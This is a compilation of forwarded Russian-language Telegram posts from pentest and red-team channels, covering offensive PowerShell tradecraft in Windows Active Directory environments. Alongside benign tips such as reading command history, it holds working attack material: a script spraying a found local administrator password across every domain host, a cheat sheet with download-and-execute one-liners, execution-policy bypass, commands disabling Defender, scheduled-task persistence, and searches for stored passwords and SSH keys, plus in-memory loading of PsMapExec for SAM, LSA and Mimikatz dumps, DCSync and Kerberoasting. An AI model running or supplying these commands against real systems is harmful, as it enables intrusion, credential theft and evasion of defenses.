Forwarded from Pentest HaT (Андрей (Exited3n))
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from CyberSecrets
Дата и время выполнения команд в Powershell
Последнее время стал замечать, что заказчики на внутренних пентестах просят предоставлять дату и время выполнения действий. Давно я уже писал как можно добавить в консоль отображение даты и времени, а также использование Powershell Transcript. Сейчас хочу поделиться еще полезной функцией Powershell.
В Powershell есть функция чтения истории выполнения команд
Данные можно экспортировать в формат CSV и затем импортировать в Excel.
При использовании этого метода стоит знать, что при закрытии консоли данные о дате и времени пропадают, поэтому, если необходимо собирать такую информации, делать это лучше в конце рабочего дня. И второе, каждая открытая консоль собирает дату и время только для нее. Хотя история самих команд для всех собирается в отдельном файле и прочитать его можно следующим образом, но уже без времени:
Так как данные возвращаются в виде PSObject, можно выполнять различные операции для фильтрации вывода. Например, можно ограничить вывод только за определенный период:
Важно помнить, что формат времени в русской и в английской версиях Windows разный. В русской идут день-месяц-год, а в английской месяц-день-год. Поэтому будьте внимательны!
#Powershell #Внутрянка
Последнее время стал замечать, что заказчики на внутренних пентестах просят предоставлять дату и время выполнения действий. Давно я уже писал как можно добавить в консоль отображение даты и времени, а также использование Powershell Transcript. Сейчас хочу поделиться еще полезной функцией Powershell.
В Powershell есть функция чтения истории выполнения команд
Get-History. Если выполнить эту команду, то будет предоставлен перечень выполненных команд, однако если изменить формат отображения в виде списка, то кроме команды можно получить статус, время начала выполнения команды и ее завершения.Get-History|fl
Данные можно экспортировать в формат CSV и затем импортировать в Excel.
Get-History|Export-Csv -Path history.csv
При использовании этого метода стоит знать, что при закрытии консоли данные о дате и времени пропадают, поэтому, если необходимо собирать такую информации, делать это лучше в конце рабочего дня. И второе, каждая открытая консоль собирает дату и время только для нее. Хотя история самих команд для всех собирается в отдельном файле и прочитать его можно следующим образом, но уже без времени:
Get-Content (Get-PSReadlineOption).HistorySavePath
Так как данные возвращаются в виде PSObject, можно выполнять различные операции для фильтрации вывода. Например, можно ограничить вывод только за определенный период:
Get-History |where {$_.StartExecutionTime -ge $(get-date("12.05.2024 10:00:00")) -and $_.StartExecutionTime -le $(get-date("12.06.2024 18:00:00"))}|flВажно помнить, что формат времени в русской и в английской версиях Windows разный. В русской идут день-месяц-год, а в английской месяц-день-год. Поэтому будьте внимательны!
#Powershell #Внутрянка
Forwarded from CyberSecrets
Проверка локальных учетных записей
Представим себе ситуацию, когда во время выполнения проекта мы обнаружили пароль от локального администратора, например, в групповых политиках, или от другой локальной учетной записи. Нам необходимо проверить на каких хостах эта учетная запись есть и валидна. Если под рукой есть «nxc», то проблем нет, а если нет? Можно воспользоваться PowerShell и написать небольшой скрипт для проверки локальной учетной записи.
Скрипт будет запрашивать в домене все активные хосты с операционной системой Windows и выполнять проверку локальной учетной записи. Метод, используемый в данном скрипте для новых версий Windows, основан на обработке ошибки, это связанно с механизмами безопасности внедренных в операционную систему. Ошибки, возникающие при правильном и неправильном пароле, разные. И на основании этого мы можем делать предположение когда пароль является верным. а когда нет.
Запускаем
Зеленый цвет вывода так же покажет, что учетная запись, от имени которой запускается скрипт, является локальным администратором на проверяемом хосте, желтый - пароль для локальной учетной записи верный.
Стоит помнить, что скрипт проверяет валидность учетных данных, но не показывает членство в группе локальных администраторов.
#Powershell #Внутрянка
Представим себе ситуацию, когда во время выполнения проекта мы обнаружили пароль от локального администратора, например, в групповых политиках, или от другой локальной учетной записи. Нам необходимо проверить на каких хостах эта учетная запись есть и валидна. Если под рукой есть «nxc», то проблем нет, а если нет? Можно воспользоваться PowerShell и написать небольшой скрипт для проверки локальной учетной записи.
Скрипт будет запрашивать в домене все активные хосты с операционной системой Windows и выполнять проверку локальной учетной записи. Метод, используемый в данном скрипте для новых версий Windows, основан на обработке ошибки, это связанно с механизмами безопасности внедренных в операционную систему. Ошибки, возникающие при правильном и неправильном пароле, разные. И на основании этого мы можем делать предположение когда пароль является верным. а когда нет.
function Check-LocalCredential{
[CmdletBinding()]
Param (
[Parameter(Mandatory)]
[string]
$UserName,
[Parameter(Mandatory)]
[string]
$Password
)
# Подключаем библиотеку для работы с учетными записями
Add-Type -AssemblyName System.DirectoryServices.AccountManagement -ErrorAction Stop
# В качестве контекста используем машину
$ContextType = [DirectoryServices.AccountManagement.ContextType]::Machine
$searcher = [adsisearcher]'(&(objectCategory=computer)(operatingsystem=*windows*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
$searcher.PageSize = 1000
$comps=$searcher.FindAll()
foreach($comp in $comps)
{
$ComputerName = $comp.Properties.dnshostname.Item(0)
try
{
$PrincipalContext = [System.DirectoryServices.AccountManagement.PrincipalContext]::new($ContextType, $ComputerName)
# Проверям учетные данные
if($PrincipalContext.ValidateCredentials($UserName,$Password))
{
Write-Host -ForegroundColor Green "[+] User $UserName has password $Password on computer $ComputerName"
}
}
catch [UnauthorizedAccessException]
{
Write-Host -ForegroundColor Yellow "[*] User $UserName has password $Password on computer $ComputerName"
continue
}
catch
{
#Write-host -ForegroundColor Red "[!] Error $_.Exception.Message "
continue
}
}
} Запускаем
Check-LocalCredential -Username Administrator -Password Qwerty123
Зеленый цвет вывода так же покажет, что учетная запись, от имени которой запускается скрипт, является локальным администратором на проверяемом хосте, желтый - пароль для локальной учетной записи верный.
Стоит помнить, что скрипт проверяет валидность учетных данных, но не показывает членство в группе локальных администраторов.
#Powershell #Внутрянка
🔥2
Forwarded from Whitehat Lab
Для выполнения некоторых командлетов необходим импортированный AD модуль
Подключаем:
Import-Module C:\Microsoft.ActiveDirectory.Management.dll -Verbose
iex (new-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/ADModule/master/Import-ActiveDirectory.ps1');Import-ActiveDirectory
или
Import-Module C:\Microsoft.ActiveDirectory.Management.dll -Verbose
Import-Module C:\ActiveDirectory\ActiveDirectory.psd1
Get-Command -Module ActiveDirectory
Информация о системе:
Get-WmiObject -Class Win32_OperatingSystem | Select-Object -Property *
Список процессов:
Get-Process | Select-Object -Property ProcessName, Id, CPU | Sort-Object -Property CPU -Descending
FailureAudit в логах:
Get-EventLog -LogName Security | Where-Object {$_.EntryType -eq 'FailureAudit'}Сканер портов:
1..1024 | ForEach-Object { $sock = New-Object System.Net.Sockets.TcpClient; $async = $sock.BeginConnect('localhost', $_, $null, $null); $wait = $async.AsyncWaitHandle.WaitOne(100, $false); if($sock.Connected) { $_ } ; $sock.Close() }Выполнить команду на удаленном ПК:
Invoke-Command -ComputerName TargetPC -ScriptBlock { Get-Process } -Credential (Get-Credential)Скачать и выполнить скрипт:
$url = 'http://example.com/script.ps1'; Invoke-Expression (New-Object Net.WebClient).DownloadString($url)
Execution policy bypass:
Set-ExecutionPolicy Bypass -Scope Process -Force; .\script.ps1
Список доменных юзеров:
# Нужен AD модуль
Get-ADUser -Filter * -Properties * | Select-Object -Property Name, Enabled, LastLogonDate
Список залогиненых юзеров:
Get-WMIObject -Class Win32_ComputerSystem -Computer "HOST01" | Select-Object Username
Давно не логинились, но УЗ включена:
# Нужен AD модуль
Get-ADuser -filter {enabled -eq "True"} -properties LastlogonDate | ? {$_.lastlogondate -le (get-date).adddays(-90)} | ft Name
Прибить процесс:
Get-Process -Name "Notepad" | Stop-Process -Force
Список установленного ПО:
Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, Publisher, InstallDate
Мониторинг изменений ФС:
$watcher = New-Object System.IO.FileSystemWatcher; $watcher.Path = 'C:\'; $watcher.IncludeSubdirectories = $true; $watcher.EnableRaisingEvents = $true; Register-ObjectEvent $watcher 'Created' -Action { Write-Host 'File Created: ' $Event.SourceEventArgs.FullPath }Отключаем Defender:
Set-MpPreference -SubmitSamplesConsent NeverSend
Set-MpPreference -MAPSReporting Disabled
Set-MpPreference -DisableRealtimeMonitoring $true
Задание в планировщик для закрепа:
$action = New-ScheduledTaskAction -Execute 'Powershell.exe' -Argument '-NoProfile -WindowStyle Hidden -Command "YourCommand"'; $trigger = New-ScheduledTaskTrigger -AtStartup; Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'MyTask' -Description 'MyDescription'
Поиск паролей в текстовых файлах:
Select-String -Path C:\Users\*\Documents\*.txt -Pattern 'password' -CaseSensitive
Собираем SSH ключи:
Get-ChildItem -Path C:\Users\*\.ssh\id_rsa -Recurse
Продолжение следует
#powershell #windows
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
Неплохая шпаргалка по бинарным файлам,
#windows #redteam #powershell #mmc
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
Отличный инструмент для пост эксплуатации в
UPD. Начиная с версии 0.6.0, PsMapExec больше не имеет каких-либо внешних зависимостей, кроме модуля Amnesiac.
PsMapExec теперь можно запускать в ограниченных средах, таких как экзаменационные лаборатории или машины CTF
Текущая поддержка методов (протоколов):
🔵 RDP🔵 SessionHunter🔵 SMB🔵 SMB Signing🔵 Spraying🔵 VNC🔵 WinRM🔵 WMI🔵 MSSQL🔵 Kerberoast
Реализованные модули:
🔵 Amnesiac - выполнение Amnesiac C2 пейлоадов🔵 ConsoleHistory - история в PowerShell🔵 Files - файлы в типичных директориях🔵 KerbDump - дамп Kerberos билетов🔵 eKeys - дамп ключей (Mimikatz)🔵 LogonPasswords - дамп logon passwords (Mimikatz)🔵 LSA - дамп LSA (Mimikatz)🔵 NTDS - реализация DCsync🔵 SAM - дамп SAM
Запуск из памяти:
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/Invoke-NETMongoose.ps1");IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/The-Viper-One/PsMapExec/main/PsMapExec.ps1")Примеры:
# Текущий пользователь
PsMapExec -Targets All -Method [Method]
# С паролем
PsMapExec -Targets All -Method [Method] -Username [Username] -Password [Password]
# С хешем
PsMapExec -Targets All -Method [Method] -Username [Username] -Hash [RC4/AES256]
# С билетом
PsMapExec -Targets All -Method [Method] -Ticket [doI.. OR Path to ticket file]
# Дамп SAM файла
PsMapExec -Targets DC.domain.local -Method SMB -Ticket [Base64-Ticket] -Module SAM
# Kerberoasting
PsMapExec -Method Kerberoast -ShowOutput
# Использование модулей
PsMapExec -Targets All -Method [Method] -Module [Module]
#soft #pentest #powershell #psmapexec #redteam #windows
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
Инструмент для аудита разрешений в
доступом (ACL – Access Control List)
Написан на
SACL - список используемый для аудита доступа к данному объекту.
DACL - список указывающий права пользователей и групп на действия с данным объектом.
Разрешения, которые нам интересны
GenericAll - полные права на объект
GenericWrite - редактировать атрибуты объекта
WriteOwner - изменить владельца объекта
WriteDACL - редактировать ACE объекта
AllExtendedRights - расширенные права на объект
ForceChangePassword - сменить пароль объекта
Self - возможность добавить себя в группу
Работает в GUI или консольном режимах:
Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/canix1/ADACLScanner/refs/heads/master/ADACLScan.ps1' -OutFile ADACLScan.ps1
.\ADACLScan.ps1
.\ADACLScan.ps1 -Base (Get-ADRootDSE).defaultNamingContext -Owner -Scope subtree -Filter '(objectClass=*)' | Where-Object {$_.Access -eq 'Owner'}
Экспорт в xls, csv, html
Большое количество возможностей
#adaclscanner #powershell #redteam #soft
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
Инструмент для аудита разрешений в
доступом (ACL – Access Control List)
UPD
Added info for Windows 2022 and Windows 2025
Added Exchange Schema version 'Exchange Server 2019 CU10
Написан на
SACL - список используемый для аудита доступа к данному объекту.
DACL - список указывающий права пользователей и групп на действия с данным объектом.
Разрешения, которые нам интересны
GenericAll - полные права на объект
GenericWrite - редактировать атрибуты объекта
WriteOwner - изменить владельца объекта
WriteDACL - редактировать ACE объекта
AllExtendedRights - расширенные права на объект
ForceChangePassword - сменить пароль объекта
Self - возможность добавить себя в группу
Работает в GUI или консольном режимах:
Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/canix1/ADACLScanner/refs/heads/master/ADACLScan.ps1' -OutFile ADACLScan.ps1
.\ADACLScan.ps1
.\ADACLScan.ps1 -Base (Get-ADRootDSE).defaultNamingContext -Owner -Scope subtree -Filter '(objectClass=*)' | Where-Object {$_.Access -eq 'Owner'}
Экспорт в xls, csv, html
Большое количество возможностей
#adaclscanner #powershell #redteam #soft
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from CyberSecrets
This media is not supported in your browser
VIEW IN TELEGRAM
BloodHound Legacy и HoundLoader (demo)
В своей работе я использую BloodHound Legacy. Для меня этот инструмент очень удобный и понятный. Так же у меня есть возможность менять его под свои желания. С выходом BloodHound CE поддержка BloodHound Legacy была остановлена. И тут самой большой проблемой стала возможность загружать данные из SharpHound новой версии (частично изменился формат JSON файлов).
В принципе, мне достаточно старой версией SharpHound для сбора основной информации об инфраструктуре Active Directory, а остальные данные при необходимости загружаю с помощью скриптов. Сейчас новая версия SharpHound собирает большое количество полезной информации, и я уже начал задумываться о переходе на BloodHound CE. Попробовав его пару раз, пришел к выводу, что мне неудобно в нем работать. При всей красоте построения графов и наличия нормальной строки для Cypher запросов остальное вызывает у меня отторжение, возможно, дело привычки.
Год назад мне пришла мысль, а что, если загружать данные в BloodHound CE потом делать резервную копию базы данных и переносить ее в BloodHound Legacy. Метод, надо признать, не самый лучший, но вариант рабочий. Однако, данные резервной копии будут содержать узлы и связи, которые BloodHound Legacy не умеет отображать, но добавить их в код не большая проблема. (Тут должна была быть реклама =))
Месяц назад мои коллеги из отдела разработки (Аркадий, привет!) для своих нужд выдернули из исходников BloodHound CE функции парсера и загрузчика данных SharpHound и собрали приложение, которое получило название HoundLoader. Приложение показало хорошие результаты, но опять не без косяков.
Постоянно просить разработчиков что-то добавлять или менять мне не хотелось, а go я не знаю. Поэтому я решил погрузиться в исходные коды BloodHound Legacy, чтобы понять, как он добавляет данные в neo4j.
Никогда не понимал, зачем собирать данные в JSON чтобы потом их парсить в Cypher и уже загружать данные в базу. Почему сразу не сохранять данные в виде Cypher запросов? Но надо признать, алгоритм достаточно простой и тут возник вопрос обновлять JS в BloodHound Legacy или сделать все с нуля. Читать и изменять чужой код занятие непростое, поэтому я принял решение написать HoundLoader на PowerShell.
Данные нормально, загружаются в базу, но еще не тестировались на больших инфраструктурах. И есть большая задача по установке связей между объектами после загрузки данных.
Пока моя версия BloodHound Legacy и HoundLoader находятся на стадии тестирования и доработки, но надеюсь осенью поделиться своими наработками с сообществом.
#BloodHound #Powershell
В своей работе я использую BloodHound Legacy. Для меня этот инструмент очень удобный и понятный. Так же у меня есть возможность менять его под свои желания. С выходом BloodHound CE поддержка BloodHound Legacy была остановлена. И тут самой большой проблемой стала возможность загружать данные из SharpHound новой версии (частично изменился формат JSON файлов).
В принципе, мне достаточно старой версией SharpHound для сбора основной информации об инфраструктуре Active Directory, а остальные данные при необходимости загружаю с помощью скриптов. Сейчас новая версия SharpHound собирает большое количество полезной информации, и я уже начал задумываться о переходе на BloodHound CE. Попробовав его пару раз, пришел к выводу, что мне неудобно в нем работать. При всей красоте построения графов и наличия нормальной строки для Cypher запросов остальное вызывает у меня отторжение, возможно, дело привычки.
Год назад мне пришла мысль, а что, если загружать данные в BloodHound CE потом делать резервную копию базы данных и переносить ее в BloodHound Legacy. Метод, надо признать, не самый лучший, но вариант рабочий. Однако, данные резервной копии будут содержать узлы и связи, которые BloodHound Legacy не умеет отображать, но добавить их в код не большая проблема. (Тут должна была быть реклама =))
Месяц назад мои коллеги из отдела разработки (Аркадий, привет!) для своих нужд выдернули из исходников BloodHound CE функции парсера и загрузчика данных SharpHound и собрали приложение, которое получило название HoundLoader. Приложение показало хорошие результаты, но опять не без косяков.
Постоянно просить разработчиков что-то добавлять или менять мне не хотелось, а go я не знаю. Поэтому я решил погрузиться в исходные коды BloodHound Legacy, чтобы понять, как он добавляет данные в neo4j.
Никогда не понимал, зачем собирать данные в JSON чтобы потом их парсить в Cypher и уже загружать данные в базу. Почему сразу не сохранять данные в виде Cypher запросов? Но надо признать, алгоритм достаточно простой и тут возник вопрос обновлять JS в BloodHound Legacy или сделать все с нуля. Читать и изменять чужой код занятие непростое, поэтому я принял решение написать HoundLoader на PowerShell.
Данные нормально, загружаются в базу, но еще не тестировались на больших инфраструктурах. И есть большая задача по установке связей между объектами после загрузки данных.
Пока моя версия BloodHound Legacy и HoundLoader находятся на стадии тестирования и доработки, но надеюсь осенью поделиться своими наработками с сообществом.
#BloodHound #Powershell
Forwarded from Whitehat Lab
xbz0n.sh
Living Off the Land: Windows Post-Exploitation Without Tools
I'll never forget one of my first red team engagements where I learned this lesson the hard way. I'd spent two days carefully phishing my way into a financia...
Пост эксплуатация Windows без использования сторонних инструментов, в основном там
Understanding Living Off the Land
The term comes from the military concept of living off the land during operations - using local resources instead of bringing your own supplies. In cybersecurity, it refers to using built-in system tools and legitimate executables for malicious purposes. These binaries are often called LOLBins (Living Off the Land Binaries) or LOLBAs (Living Off the Land Binaries and Scripts
#redteam #windows #lolbins #powershell #wmi
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
Забавная уязвимость 😭👍
The issue lies in UseBasicParsing of Invoke-WebRequest cmdlet of Powershell. UseBasicParsing uses basic parsing, it does not evaluate any javascript code. It just reads the text and parses it
If this parameter is not provided, Invoke-WebRequest launches the Internet Explorer underneath and tries to parse the html code by actually evaluating it, using mshtml.HTMLDocumentClass
Забрал отсюда
#powershell #windows #cve
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
GitHub
GitHub - Lifailon/rudocs: Large base of notes on PowerShell, Linux and DevOps tools in ru language (cheat sheets and documentation).
Large base of notes on PowerShell, Linux and DevOps tools in ru language (cheat sheets and documentation). - Lifailon/rudocs
Нашел крайне полезный, так еще и русскоязычный репозиторий
Большая база заметок по синтаксису PowerShell, командам Linux и инструментам DevOps на русском языке, собранная на пути от системного администратора Windows систем до DevOps инженера
Репозиторий содержит набор PowerShell и Bash скриптов, а также коллекцию стеков Docker Compose и манифестов Kubernetes, которые поддерживаются в актуальном состояние и эксплуатируется в домашней лаборатории
#linux #powershell #devops #docker #k8s
Please open Telegram to view this post
VIEW IN TELEGRAM